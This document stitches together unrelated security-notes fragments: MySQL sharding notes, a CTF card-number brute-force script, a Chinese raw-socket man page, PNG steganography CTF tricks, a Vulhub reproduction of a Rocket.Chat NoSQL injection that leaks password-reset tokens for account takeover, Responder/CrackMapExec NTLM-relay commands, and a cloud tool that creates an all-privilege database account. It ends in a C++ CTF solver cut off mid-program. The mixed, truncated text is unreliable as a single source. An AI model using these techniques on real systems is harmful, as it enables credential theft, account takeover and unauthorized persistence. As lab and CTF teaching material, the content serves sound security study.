存在的问题 #### 1. 事务问题 使用分布式事务来解决,比如 XA 接口。 #### 2. 连接 可以将原来的连接分解成多个单表查询,然后在用户程序中进行连接。 #### 3. ID 唯一性 - 使用全局唯一 ID(GUID) - 为每个分片指定一个 ID 范围 - 分布式 ID 生成器 (如 Twitter 的 Snowflake 算法) ## 六、复制 ### 主从复制 主要涉及三个线程:binlog 线程、I/O 线程和 SQL 线程。 - **binlog 线程** :负责将主服务器上的数据更改写入二进制日志(Binary log)中。 - **I/O 线程** :负责从主服务器上读取二进制日志,并写入从服务器的中继日志(Relay log)。 - **SQL 线程** :负责读取中继日志,解析出主服务器已经执行的数据更改并在从服务器中重放(Replay)。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/master-slave.png" width=""> </div><br> ### 读写分离 主服务器处理写操作以及实时性要求比较高的读操作,而从服务器处理读操作。 读写分离能提高性能的原因在于: - 主从服务器负责各自的读和写,极大程度缓解了锁的争用; - 从服务器可以使用 MyISAM,提升查询性能以及节约系统开销; - 增加冗余,提高可用性。 读写分离常用代理方式来实现,代理服务器接收应用层传来的读写请求,然后决定转发到哪个服务器。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/master-slave-proxy.png" width=""> </div><br> ## 参考资料 - BaronScbwartz, PeterZaitsev, VadimTkacbenko, 等. 高性能 MySQL[M]. 电子工业出版社, 2013. - 姜承尧. MySQL 技术内幕: InnoDB 存储引擎 [M]. 机械工业出版社, 2011. - [20+ 条 MySQL 性能优化的最佳经验](https://www.jfox.info/20-tiao-mysql-xing-nen-you-hua-de-zui-jia-jing-yan.html) - [服务端指南 数据存储篇 | MySQL(09) 分库与分表带来的分布式困境与应对之策](http://blog.720ui.com/2017/mysql_core_09_multi_db_table2/ "服务端指南 数据存储篇 | MySQL(09) 分库与分表带来的分布式困境与应对之策") - [How to create unique row ID in sharded databases?](https://stackoverflow.com/questions/788829/how-to-create-unique-row-id-in-sharded-databases) - [SQL Azure Federation – Introduction](http://geekswithblogs.net/shaunxu/archive/2012/01/07/sql-azure-federation-ndash-introduction.aspx "Title of this entry.") - [MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html) - [MySQL 性能优化神器 Explain 使用分析](https://segmentfault.com/a/1190000008131735) - [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6) - [大众点评订单系统分库分表实践](https://tech.meituan.com/dianping_order_db_sharding.html) - [B + 树](https://zh.wikipedia.org/wiki/B%2B%E6%A0%91)
sec-knowleage
#Carder (web, 150 points, solved by 119) The objective of this challange was to enter valid card numbers with known prefix and suffix. [This](https://en.wikipedia.org/wiki/Luhn_algorithm) wikipedia describes the method used to validate a card number A python script that does the job for us: ``` python import itertools import requests import json import string #verifyCard def digits_of(number): return [int(i) for i in str(number)] def luhn_checksum(card_number): digits = digits_of(card_number) odd_digits = digits[-1::-2] even_digits = digits[-2::-2] total = sum(odd_digits) for digit in even_digits: total += sum(digits_of(2 * digit)) return total % 10 def is_luhn_valid(card_number): return luhn_checksum(card_number) == 0 #request url = "http://86dc35f7013f13cdb5a4e845a3d74937f2700c7b.ctf.site:20000/api.php" data = { "action":"start" } headers = { "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36", "Content-Length":"18", "Content-Type":"application/json", "Host":"86dc35f7013f13cdb5a4e845a3d74937f2700c7b.ctf.site:20000", "Origin":"http://86dc35f7013f13cdb5a4e845a3d74937f2700c7b.ctf.site:20000", "Referer":"http://86dc35f7013f13cdb5a4e845a3d74937f2700c7b.ctf.site:20000/" } r = requests.get(url) cookies = r.cookies r = requests.post(url, data=json.dumps(data), cookies=cookies, headers=headers) response = r.json() cards = ['amex','visa','mcard'] lengths = [7, 5, 8] responseData = {} for i in range(3): start = response["p"+cards[i]] ending = response["s"+cards[i]] for s in itertools.product(string.digits, repeat=lengths[i]): if(is_luhn_valid(start+''.join(s)+ending)): print(cards[i]) print(len(start+''.join(s)+ending)) responseData["n"+cards[i]] = "".join(s) break; responseData["action"]="validate" print(json.dumps(responseData)) r = requests.post(url, data=json.dumps(responseData), cookies=cookies, headers=headers) print(r.text) ```
sec-knowleage
.\" Don't change the first line, it tells man that we need tbl. .\" This man page is Copyright (C) 1999 Andi Kleen . .\" 中文版版权所有 redcandle, Laser www.linuxforum.net 2000 .\" Permission is granted to distribute possibly modified copies .\" of this page provided the header is included verbatim, .\" and in case of nontrivial modification author and date .\" of the modification is added to the header. .\" Please send bug reports, corrections and suggestions for improvements to .\" .TH RAW 7 "2 Oct 1998" "Linux 手册页" "Linux 程序员手册" .SH NAME raw, SOCK_RAW \- Linux IPv4 raw socket. .SH 总 览 #include <sys/socket.h> .br #include <netinet/in.h> .br raw_socket = socket(PF_INET, SOCK_RAW, int protocol ); .SH 描 述 Raw sockets 使得用户端可以实现新的 IPv4 协议。 raw socket 设备接收或发送不含链接层报头的原始数据包。 只有激活接口选项 IP_HDRINCL 时 IPv4 层才会在传输包中 添加 IP 报头。而且当激活时,包中必须含有 IP 报头。包中含 有 IP 报头才能被接收。 只有 user id 为 0 或具有 CAP_NET_RAW 能力才能打开 raw sockets. 所有匹配为此 raw socket 声明的协议号的包或错误都将被传 送到该 socket.要察看许可的协议列表, 请参考 RFC1700 给出的代号和 getprotobyname (3). IPPROTO_RAW 意味着 IP_HDRINCL 处于激活状态,也意味着接收 所有 IP 协议. 但是不允许传送。 .TS tab(:) allbox; c s l l. IP_HDRINCL 会在传送时修改 IP 报头。 IP Checksum: 总是写入。 Source Address:为 0 时写入。 Packet Id:为 0 时写入。 Total Length:总是写入。 .TE .PP 如果指定了 IP_HDRINCL 且 IP 报头含有的目的地址不是 0,那么 该 socket 的目的地址用于路由该包。 如果指定了 MSG_DONTROUTE 则目的地址 应指向某个本地接口。否则会进行路有表查找,但是网关路由会被 忽略。如果未设定 IP_HDRINCL 则可通过 setsockopt (2) 在 raw socket 中设定 IP header 选项。参考 ip (7) 了解更多信 息。 在 Linux 2.2 下可以用 IP socket 选项设置所有的 IP 报头域和选项. 这意味着通常只有新的协议 或没有用户界面的协议需要 raw socket (就象 ICMP). 当收到一个包时,它首先被传给绑定到包协议的任何 raw socket 然后才传给其他协议句柄(handler)。 (比如.内核协议模块). .SH 地址格式 raw socket 使用在 ip (7) 中定义的标准 sockaddr_in 地址结构。 sin_port 域用于指定 IP 协议号,但是在 Linux 2.2 下传送时应将 其忽略,而且应该一直设为0 (参见 BUGS). 对于接收的包,sin_port 被设置为该包的协议号。 参考 其中包括介绍有效的 IP 协议的文件. .SH SOCKET选项 raw socket 选项可使用 setsockopt (2) 进行设置,用 getsockopt (2)进行读取(通过传递 SOL_RAW 族标志). .TP .B ICMP_FILTER 激活绑定到 IPPROTO_ICMP 协议的一个用于 raw socket 特殊的过滤器。 该值对每种 ICMP 消息都有一个位(掩码), 可以把那种 ICMP 消息过滤掉.缺省时是不过滤 ICMP 消息. 另外,还支持所有对数据报 socket 有效的 ip(7) SOL_IP socket 选项. .SH 注 意 raw socket 包长超过接口 MTU 时会把包分成碎片。(另见 BUGS). 另一个更友好和快速的选择是使用路径 MTU 查找。 在 ip (7) IP_PMTU_DISCOVER 一段有详细描述。 使用 bind (2) 可将 raw socket 绑定到指定的本地地址。 如果没有绑定,则接收所有符合指定的 IP 协议的包。 另外用 SO_BINDTODEVICE 可以将 RAW socket 绑定到指定的网络 设备。 详见: socket (7). IPPROTO_RAW 只能传送。如果你确实想接收所有的 IP 包 用 packet (7) socket 和 ETH_P_IP 协议. 请注意 packet socket不象 raw socket 那样对 IP 碎片进行重组。 如果想要为一个 datagram socket 接收的所有 ICMP 包,那么最好 在那个 socket 上使用 IP_RECVERR。详见: ip (7). raw socket 能窃听所有的 IP 协议, 即使象 ICMP 或 TCP 这样在内核中有协议模块的也不例外。这时候包会同时传送到 核心模块和raw socket. 一个可移植的程序不能依赖这个特性, 许多其他 BSD socket 实现在这方面有局限. Linux 从不改变用户传输的包 (除了前 面提到的 IP_HDRINCL ,填入一些0字段).这与其他 raw socket 实现方式是不同的. RAW socket 通常很难移植. socket 传输时使用 sin_port 中设置的 协议,但 Linux2.2 下不行了,解决办法是使用 IP_HDRINCL. .SH 错误处理 只有连接了 socket 或 IP_RECVERR 设置为有效时,网络错误才会 传送给用户。因为兼容性的原因只有 EMSGSIZE 和 EPROTO 被传送 给 socket. .SH 错 误 .TP .B IP_RECVERR 使得所有的错误存储到 error queue(错误队列). .TP .B EMSGSIZE 包太大。或者因为路径 MTU 查找 (IP_PMTU_DISCOVER) 设置为有效,或者因为包的尺寸超过 IPv4 规定的包 最大尺寸 64KB. .TP .B EACCES 用户试图传送到某广播地址但是并未事先在socket中设置广播 标志。 .TP .B EPROTO ICMP 错误报告有参数问题。 .TP .B EFAULT 无效内存地址。 .TP .B EOPNOTSUPP 传送给 socket 的标志无效(比如:MSG_OOB ). .TP .B EINVAL 无效参数. .TP .B EPERM 用户无权打开 raw socket. 只有用户 id 为 0 或具有 CAP_NET_RAW 属性方可。 .SH 版 本 IP_RECVERR 和 ICMP_FILTER 是 Linux 2.2 的新实现. 不能用于可移植程序。 如果设置了 SO_BSDCOMPAT 标志, Linux 2.0 里面有和 BSD 里兼容的 raw socket 代码错误, 在 2.2 里已经修补了. .SH BUGS 没有描述透明代理扩展. 当设置 IP_HDRINCL 选项后datagrams(自寻址数据包)不会被分段 并受 MTU 限制. 这是 Linux 2.2 的限制. 在 Linux 2.2 sin_port 中设置的 IP 协议会丢失。使用的是绑定了 socket 的协议,或在 socket (2)初始化调用中指定的协议。 .SH 作 者 Andi Kleen. .SH 另 见 .BR ip (7), .BR socket (7), .BR recvmsg (2), .BR sendmsg (2). .PP RFC1191 for path MTU discovery. .br RFC791 and the include file for the IP protocol. .br .SH "[中文版维护人]" .B RedCandle <redcandle51@chinaren.com> .SH "[中文版最新更新]" .B 2000/10/15 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# PNG ## 文件格式 对于一个 PNG 文件来说,其文件头总是由位固定的字节来描述的,剩余的部分由 3 个以上的 PNG 的数据块(Chunk)按照特定的顺序组成。 文件头 `89 50 4E 47 0D 0A 1A 0A` + 数据块 + 数据块 + 数据块…… ### 数据块CHUNk PNG 定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了 4 个标准数据块,每个 PNG 文件都必须包含它们,PNG 读写软件也都必须要支持这些数据块。 | 数据块符号 | 数据块名称 | 多数据块 | 可选否 | 位置限制 | | ---------- | ---------------------- | -------- | ------ | ------------------ | | IHDR | 文件头数据块 | 否 | 否 | 第一块 | | cHRM | 基色和白色点数据块 | 否 | 是 | 在PLTE和IDAT之前 | | gAMA | 图像γ数据块 | 否 | 是 | 在PLTE和IDAT之前 | | sBIT | 样本有效位数据块 | 否 | 是 | 在PLTE和IDAT之前 | | PLTE | 调色板数据块 | 否 | 是 | 在IDAT之前 | | bKGD | 背景颜色数据块 | 否 | 是 | 在PLTE之后IDAT之前 | | hIST | 图像直方图数据块 | 否 | 是 | 在PLTE之后IDAT之前 | | tRNS | 图像透明数据块 | 否 | 是 | 在PLTE之后IDAT之前 | | oFFs | (专用公共数据块) | 否 | 是 | 在IDAT之前 | | pHYs | 物理像素尺寸数据块 | 否 | 是 | 在IDAT之前 | | sCAL | (专用公共数据块) | 否 | 是 | 在IDAT之前 | | IDAT | 图像数据块 | 是 | 否 | 与其他IDAT连续 | | tIME | 图像最后修改时间数据块 | 否 | 是 | 无限制 | | tEXt | 文本信息数据块 | 是 | 是 | 无限制 | | zTXt | 压缩文本数据块 | 是 | 是 | 无限制 | | fRAc | (专用公共数据块) | 是 | 是 | 无限制 | | gIFg | (专用公共数据块) | 是 | 是 | 无限制 | | gIFt | (专用公共数据块) | 是 | 是 | 无限制 | | gIFx | (专用公共数据块) | 是 | 是 | 无限制 | | IEND | 图像结束数据 | 否 | 否 | 最后一个数据块 | 对于每个数据块都有着统一的数据结构,每个数据块由 4 个部分组成 | 名称 | 字节数 | 说明 | | ------------------------------- | -------- | --------------------------------------------------- | | Length(长度) | 4字节 | 指定数据块中数据域的长度,其长度不超过(2<sup>31</sup>-1)字节 | | Chunk Type Code(数据块类型码) | 4字节 | 数据块类型码由 ASCII 字母(A - Z 和 a - z)组成 | | Chunk Data(数据块数据) | 可变长度 | 存储按照 Chunk Type Code 指定的数据 | | CRC(循环冗余检测) | 4字节 | 存储用来检测是否有错误的循环冗余码 | CRC(Cyclic Redundancy Check)域中的值是对 Chunk Type Code 域和 Chunk Data 域中的数据进行计算得到的。 ### IHDR 文件头数据块 IHDR(Header Chunk):它包含有 PNG 文件中存储的图像数据的基本信息,由 13 字节组成,并要作为第一个数据块出现在 PNG 数据流中,而且一个 PNG 数据流中只能有一个文件头数据块 其中我们关注的是前8字节的内容 | 域的名称 | 字节数 | 说明 | | -------- | ------- | ---------------------- | | Width | 4 bytes | 图像宽度,以像素为单位 | | Height | 4 bytes | 图像高度,以像素为单位 | 我们经常会去更改一张图片的高度或者宽度使得一张图片显示不完整从而达到隐藏信息的目的。 这里可以发现在 Kali 中是打不开这张图片的,提示 `IHDR CRC error`,而 Windows 10 自带的图片查看器能够打开,就提醒了我们 IHDR 块被人为的篡改过了,从而尝试修改图片的高度或者宽度发现隐藏的字符串。 #### 例题 ##### WDCTF-finals-2017 观察文件可以发现,文件头及宽度异常 ```hex 00000000 80 59 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.YNG........IHDR| 00000010 00 00 00 00 00 00 02 f8 08 06 00 00 00 93 2f 8a |............../.| 00000020 6b 00 00 00 04 67 41 4d 41 00 00 9c 40 20 0d e4 |k....gAMA...@ ..| 00000030 cb 00 00 00 20 63 48 52 4d 00 00 87 0f 00 00 8c |.... cHRM.......| 00000040 0f 00 00 fd 52 00 00 81 40 00 00 7d 79 00 00 e9 |....R...@..}y...| ... ``` 这里需要注意的是,文件宽度不能任意修改,需要根据 IHDR 块的 CRC 值爆破得到宽度,否则图片显示错误不能得到 flag。 ```python import os import binascii import struct misc = open("misc4.png","rb").read() for i in range(1024): data = misc[12:16] + struct.pack('>i',i)+ misc[20:29] crc32 = binascii.crc32(data) & 0xffffffff if crc32 == 0x932f8a6b: print i ``` 得到宽度值为 709 后,恢复图片得到 flag。 ### PLTE 调色板数据块 PLTE(palette chunk):它包含有与索引彩色图像(indexed-color image)相关的彩色变换数据,它仅与索引彩色图像有关,而且要放在图像数据块(image data chunk)之前。真彩色的 PNG 数据流也可以有调色板数据块,目的是便于非真彩色显示程序用它来量化图像数据,从而显示该图像。 ### IDAT 图像数据块 IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。 - 储存图像像数数据 - 在数据流中可包含多个连续顺序的图像数据块 - 采用 LZ77 算法的派生算法进行压缩 - 可以用 zlib 解压缩 值得注意的是,IDAT 块只有当上一个块充满时,才会继续一个新的块。 用 `pngcheck` 去查看此 PNG 文件 ```shell λ .\pngcheck.exe -v sctf.png File: sctf.png (1421461 bytes) chunk IHDR at offset 0x0000c, length 13 1000 x 562 image, 32-bit RGB+alpha, non-interlaced chunk sRGB at offset 0x00025, length 1 rendering intent = perceptual chunk gAMA at offset 0x00032, length 4: 0.45455 chunk pHYs at offset 0x00042, length 9: 3780x3780 pixels/meter (96 dpi) chunk IDAT at offset 0x00057, length 65445 zlib: deflated, 32K window, fast compression chunk IDAT at offset 0x10008, length 65524 ... chunk IDAT at offset 0x150008, length 45027 chunk IDAT at offset 0x15aff7, length 138 chunk IEND at offset 0x15b08d, length 0 No errors detected in sctf.png (28 chunks, 36.8% compression). ``` 可以看到,正常的块的 length 是在 65524 的时候就满了,而倒数第二个 IDAT 块长度是 45027,最后一个长度是 138,很明显最后一个 IDAT 块是有问题的,因为他本来应该并入到倒数第二个未满的块里. 利用 `python zlib` 解压多余 IDAT 块的内容,此时注意剔除 **长度、数据块类型及末尾的CRC校验值**。 ```python import zlib import binascii IDAT = "789...667".decode('hex') result = binascii.hexlify(zlib.decompress(IDAT)) print result ``` ### IEND 图像结束数据 IEND(image trailer chunk):它用来标记 PNG 文件或者数据流已经结束,并且必须要放在文件的尾部。 ``` 00 00 00 00 49 45 4E 44 AE 42 60 82 ``` IEND 数据块的长度总是 `00 00 00 00`,数据标识总是 IEND `49 45 4E 44`,因此,CRC 码也总是 `AE 42 60 82`。 ### 其余辅助数据块 - 背景颜色数据块 bKGD(background color) - 基色和白色度数据块 cHRM(primary chromaticities and white point),所谓白色度是指当 `R=G=B=最大值` 时在显示器上产生的白色度 - 图像 γ 数据块 gAMA(image gamma) - 图像直方图数据块 hIST(image histogram) - 物理像素尺寸数据块 pHYs(physical pixel dimensions) - 样本有效位数据块 sBIT(significant bits) - 文本信息数据块 tEXt(textual data) - 图像最后修改时间数据块 tIME (image last-modification time) - 图像透明数据块 tRNS (transparency) - 压缩文本数据块 zTXt (compressed textual data) ## LSB LSB 全称 Least Significant Bit,最低有效位。PNG 文件中的图像像数一般是由 RGB 三原色(红绿蓝)组成,每一种颜色占用 8 位,取值范围为 `0x00` 至 `0xFF`,即有 256 种颜色,一共包含了 256 的 3 次方的颜色,即 16777216 种颜色。 而人类的眼睛可以区分约1000万种不同的颜色,意味着人类的眼睛无法区分余下的颜色大约有6777216种。 LSB 隐写就是修改 RGB 颜色分量的最低二进制位(LSB),每个颜色会有 8 bit,LSB 隐写就是修改了像数中的最低的 1 bit,而人类的眼睛不会注意到这前后的变化,每个像素可以携带 3 比特的信息。 如果是要寻找这种 LSB 隐藏痕迹的话,有一个工具 [Stegsolve](http://www.caesum.com/handbook/Stegsolve.jar) 是个神器,可以来辅助我们进行分析。 通过下方的按钮可以观察每个通道的信息,例如查看 R 通道的最低位第 8 位平面的信息。 LSB 的信息借助于 Stegsolve 查看各个通道时一定要细心捕捉异常点,抓住 LSB 隐写的蛛丝马迹。 ### 例题 > HCTF - 2016 - Misc 这题的信息隐藏在 RGB 三个通道的最低位中,借助 `Stegsolve-->Analyse-->Data Extract` 可以指定通道进行提取。 可以发现 `zip` 头,用 `save bin` 保存为压缩包后,打开运行其中的 ELF 文件就可以得到最后的 flag。 > 更多关于 LSB 的研究可以看 [这里](https://zhuanlan.zhihu.com/p/23890677)。 ## 隐写软件 [Stepic](http://domnit.org/stepic/doc/)
sec-knowleage
# Rocket Chat Pre-Auth Blind NoSQL Injection (CVE-2021-22911) [中文版本(Chinese version)](README.zh-cn.md) Rocket.chat is an open source team chat platform. At Rocket Chat from 3.12.1 to 3.13.2, The `getPasswordPolicy` method is vulnerable to NoSQL injection attacks and does not require authentication/authorization. It can be used to take over normal user accounts by leaking password reset tokens. References: - https://blog.sonarsource.com/nosql-injections-in-rocket-chat - https://www.exploit-db.com/exploits/50108 - https://github.com/CsEnox/CVE-2021-22911 - https://paper.seebug.org/1652/ ## Vulnerable Application Executing following command to start a Rocket Chat 3.12.1: ``` docker compose up -d ``` Once the server is started, visit `http://your-ip:3000` to see the installation wizard. After the installation is complete, in order to verify the attack, you need to add a normal user in the administration with the username `vulhub` and the email `vulhub@vulhub.org`. ## Exploit There is three steps to reproduce the vulnerability: 1. Reset the password on the login page, and the server will generate a Password Reset Token in the database 2. Use NoSQL injection to expose this Password Reset Token 3. Use Password Reset Token to change the user's password At the step two, you can use `$regex` directive to perform the attack. In my scenario, when `$regex` is equal to `^7`, an error message returned: ![](3.png) When `$regex` is equal to `^8`, the response is different. It proves that the Token is starts with `8`: ![](4.png) Use this simple script [CVE-2021-22911.py](CVE-2021-22911.py) to exfiltrate the Password Reset Token: ![](2.png) Change user password successfully: ![](5.png)
sec-knowleage
##Responder with NTLM relay and Empire byt3bl33d3r针对本次介绍的这种攻击方式写过一个详细的指南。直通车[byt3bl33d3r](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html) NetNTLMv2是微软的一种交换和响应协议。它使用了用户的哈希散列来进行服务器进行身份验证,并用中继散列来与服务器的交换数据。您只需将收集到的NetNTLMv2散列传递到一组主机,如果该主机的用户具有管理员的权限。那么你就能执行有效载荷,并且反弹到一个shell。 在windows AD环境中,10个工作站中有9个共享相同的本地管理员密码。您可能非常幸运,主机和服务器也共享相同的本地管理员密码。这时,它就变成了域管理员登录的发现任务。 在此之前,我们必须在域中生成一个可能受到攻击的主机列表。这是通过禁用smb签名来表示的,这在大多数Windows操作系统中是默认的,服务器除外。 从CrackMapExec包执行此操作: ``` cme smb <ip> --gen-relay-list targets.txt ``` 这条命令将生成禁用了smb签名的主机列表。如果是启用了smb签名的Windows服务器,那我们不能转发到那个上面去。同理也不能将从主机发出的请求传递给主机。 ###Responder ​https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning​ ​ ​Responder并不会接收FQDN的查询,但是它会接收NetBIOS和LLMNR的请求,因为当Windows验证文件共享之类的东西时,默认为使用NetBIOS进行查询。FQDN的查询是使用NetNTLMv2哈希的。 ​ ​Responder会获取到这些NetNTLMv2哈希。虽然不能直接使用,但是可以暴力破解出明文,再或者也可以把它们传递给其他机器。本文仅说明如何运行Responder和获取哈希。 ​ ​ ​​####Responder使用 ```​ ​Responder -I eth0 -wrf ``` -I 参数是加载自己的网卡,-wrf视情况选择,值得一提的是-f参数是用来获取系统版本的,很常用。其他参数的细节可以使用-h逐一查看。
sec-knowleage
--- title: 创建账号 --- ## 在阿里云上一键创建数据库账号 使用以下命令为 RDS 添加账号。 ```bash cf alibaba rds account ``` 默认会创建 crossfire 用户,且赋予所有权限,也可以使用 -u 指定其他用户名。 ### 查看已经创建的账号 加上 ls 查看已经创建的账号。 ```bash cf alibaba rds account ls ``` ### 删除所创建的账号 加上 del 删除已经创建的账号。 ```bash cf alibaba rds account del ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2023 年 7 月 1 日" } } </script>
sec-knowleage
#include <cstdio> #include <complex> #include <vector> #include <unordered_map> #include <unordered_set> using namespace std; typedef complex<double> cd; unordered_map<size_t, cd> state, temp; void reduce(){ unordered_set<size_t> to_remove; for(auto p: state){ if(abs(p.second)<1e-9){ to_remove.insert(p.first); } } for(auto x: to_remove){ state.erase(x); } } void add(size_t which){ temp.clear(); for(auto p: state){ size_t i=p.first; cd si=p.second; size_t index=i|(1LL<<which); if(i&(1LL<<which)){ temp[index]-=si/sqrt(2); } else{ temp[index]+=si/sqrt(2); } temp[i&~(1LL<<which)]+=si/sqrt(2); } swap(state, temp); reduce(); printf("Add %zu.\n", which); } void xst(size_t a, size_t b){ temp.clear(); for(auto p: state){ size_t i=p.first; cd si=p.second; if(i&(1LL<<a)){ size_t idx=i^(1LL<<b); temp[idx]=si; } else{ temp[i]=si; } } swap(state, temp); reduce(); printf("Xor %zu and %zu.\n", a, b); } void rot(size_t which){ for(auto& p: state){ size_t i=p.first; cd& si=p.second; if(i&(1LL<<which)){ si*=complex<double>(0,1); } } printf("Rotate %zu.\n", which); } int ilog2(long long num){ for(int i=0;; i++){ if((1LL<<i)==num){ return i; } } } void roti(long long num){ rot(ilog2(num)); } void xsti(long long a, long long b){ xst(ilog2(a), ilog2(b)); } long long finalize(){ long long ret=0; for(size_t it=0; it<48; it++){ ret*=2; double sum1=0; double sum2=0; for(auto p: state){ size_t i=p.first; cd si=p.second; double a=abs(si); if(i&(1LL<<it)){ sum1+=a*a; } else{ sum2+=a*a; } } temp.clear(); if(sum1>=0.25){ ret++; for(auto p: state){ size_t i=p.first; cd si=p.second; if(i&(1LL<<it)){ temp[i]=si/sum1; } } } else{ for(auto p: state){ size_t i=p.first; cd si=p.second; if(!(i&(1LL<<it))){ temp[i]=si/sum2; } } } swap(state, temp); } return ret; } int main(){ state[0]=1; add(0); add(3); add(4); add(7); add(8); add(9); add(10); add(11); add(14); add(20); add(21); add(24); add(25); add(26); add(33); add(35); add(40); add(41); add(43); add(45); add(46); add(47); xsti(0x10000000000LL, 0x400000000LL); xst(45, 0); xst(32, 20); xst(44, 47); xst(45, 10); xst(45, 24); xst(5, 28); xst(41, 15); roti(0x1000000); xst(25, 12); roti(0x100000000LL); xst(43, 25); roti(0x20); xst(24, 9); xst(10, 37); xst(26, 37); roti(0x20); xst(35, 11); roti(0x10000000000LL); xst(12, 19); xst(24, 5); xst(24, 9); roti(0x40); xst(0, 43); xst(45, 33); xst(11, 42); xst(34, 35); xst(3, 44); xst(25, 21); xst(4, 18); roti(0x4000000000LL); xst(10, 43); xst(21, 39); xst(39, 20); roti(0x40000000); xst(24, 45); xst(46, 0); xst(47, 16); roti(0x100000000000LL); xst(35, 24); xst(19, 14); xst(38, 17); xst(13, 38); xst(5, 24); xst(19, 10); xst(6, 41); xst(3, 26); xst(43, 37); xst(45, 46); xst(40, 6); roti(0x40000000); xst(10, 27); xst(37, 1); xst(18, 42); roti(2); xst(37, 25); xst(20, 32); xst(37, 3); xst(34, 40); roti(0x100000000000LL); xst(13, 35); xst(7, 6); xst(28, 16); xst(40, 35); xst(35, 5); roti(1); xst(14, 42); xst(46, 34); xst(7, 43); xst(38, 42); xst(32, 30); xst(27, 16); xst(1, 21); xst(35, 13); xst(33, 34); xst(10, 28); xst(23, 45); roti(0x800000000000LL); xst(8, 13); xst(21, 31); xst(16, 40); xst(37, 20); xst(3, 32); xst(28, 29); xst(15, 10); xst(19, 47); xst(6, 36); xst(4, 34); roti(0x100000000000LL); xst(23, 19); xst(19, 12); xst(40, 18); xst(38, 19); xst(16, 3); xst(22, 26); roti(0x100000000000LL); xst(11, 44); xst(6, 16); roti(0x4000000); xst(1, 0); xst(0, 10); roti(0x800000); roti(0x400000000000LL); roti(0x80000000000LL); xst(42, 9); xst(21, 6); xst(42, 31); xst(32, 6); xst(11, 22); xst(36, 44); xst(9, 8); xst(45, 1); xst(26, 27); xst(16, 13); xst(36, 33); xst(42, 26); xst(28, 18); xst(27, 21); roti(2); xst(16, 31); xst(1, 41); xst(19, 46); xst(34, 16); xst(11, 47); xst(9, 47); xst(42, 12); roti(4); xst(46, 13); roti(0x40000000); xst(3, 45); xst(3, 36); roti(0x4000000); roti(0x800); xst(25, 37); roti(0x8000000); xst(0, 3); xst(0, 36); xst(22, 27); xst(46, 0); roti(0x200); roti(0x80); xst(32, 46); xst(36, 17); roti(0x8000000000LL); roti(0x100000000LL); xst(20, 39); roti(0x20000000000LL); xst(34, 17); xst(2, 35); roti(0x10000000); roti(0x800); xst(23, 42); xst(29, 35); xst(34, 29); roti(0x40); xst(41, 33); roti(0x20000000000LL); xst(33, 22); roti(0x10000000); xst(15, 34); xst(34, 25); roti(0x800000); xst(20, 28); xst(39, 38); xst(10, 23); xst(35, 31); roti(0x10000); xst(41, 28); xst(32, 0); roti(0x40000000); xst(47, 30); roti(0x400000); xst(33, 12); xst(2, 22); xst(26, 24); xst(44, 21); xst(38, 43); roti(0x200000000000LL); xst(46, 30); roti(0x1000000); xst(26, 29); roti(0x200000000000LL); xst(19, 36); roti(0x100000000000LL); roti(0x400000000LL); xst(14, 42); roti(0x200000); xst(41, 0); xst(16, 31); xst(27, 22); xst(30, 26); xst(11, 4); xst(13, 31); xst(16, 10); xst(3, 11); xst(20, 33); roti(0x400000000LL); xst(23, 14); xst(30, 21); xst(41, 29); xst(43, 37); xst(7, 24); xst(13, 12); roti(4); xst(19, 42); xst(34, 9); xst(34, 8); xst(40, 23); xst(23, 36); xst(6, 45); xst(19, 26); xst(13, 28); xst(35, 36); roti(0x20000000); roti(2); roti(0x8000); xst(19, 2); xst(10, 36); xst(3, 15); roti(0x2000000); roti(0x100000000000LL); xst(0, 20); xst(32, 20); xst(10, 41); xst(6, 11); xst(43, 26); xst(23, 5); roti(0x10000); xst(28, 17); xst(4, 15); xst(37, 43); xst(37, 22); xst(46, 21); roti(0x40000); roti(1); xst(47, 33); xst(24, 15); xst(27, 35); xst(2, 1); roti(0x100000000000LL); xst(39, 0); xst(36, 13); xst(0, 1); roti(0x10000); xst(18, 25); xst(11, 47); xst(10, 25); xst(13, 21); xst(8, 33); xst(30, 21); xst(22, 29); xst(35, 24); xst(18, 38); xsti(0x40, 0x2000000); xst(40, 37); xst(10, 32); roti(0x80000000); roti(0x200); xst(20, 23); roti(2); xst(4, 33); xst(14, 31); xst(3, 22); roti(0x10); xst(17, 21); xst(4, 13); xst(36, 14); xst(45, 8); xst(47, 43); xst(14, 40); xst(4, 46); xst(47, 13); xst(5, 47); xst(39, 20); xst(45, 39); xst(31, 7); roti(0x4000000000LL); xst(16, 40); xst(3, 43); xst(20, 43); roti(0x40); xst(24, 2); xst(3, 35); xst(21, 46); roti(0x8000000); xst(20, 24); roti(0x8000000); roti(0x100000); roti(0x2000000); xst(24, 22); xst(15, 34); xst(26, 11); roti(0x100000000LL); roti(0x800000000LL); xst(31, 30); xst(2, 14); xst(39, 34); xst(35, 43); xst(4, 18); roti(0x4000000000LL); xst(15, 20); xst(36, 17); xst(16, 5); roti(0x20); xst(46, 45); xst(5, 6); xst(41, 17); xst(20, 19); xst(16, 12); xst(30, 9); roti(0x2000000000LL); roti(0x200); xst(45, 4); xst(22, 37); roti(0x80000000); roti(0x200000); xst(33, 30); xst(12, 23); xst(23, 32); xst(32, 37); roti(0x80000); xst(39, 28); xst(3, 23); xst(41, 43); xst(15, 33); xst(26, 1); roti(0x40000); xst(19, 26); roti(0x800000000LL); xst(36, 7); xst(31, 18); xst(17, 23); xst(26, 34); roti(0x400); roti(0x200000000000LL); xst(18, 39); xst(35, 12); xst(28, 1); xst(10, 20); roti(0x1000000); 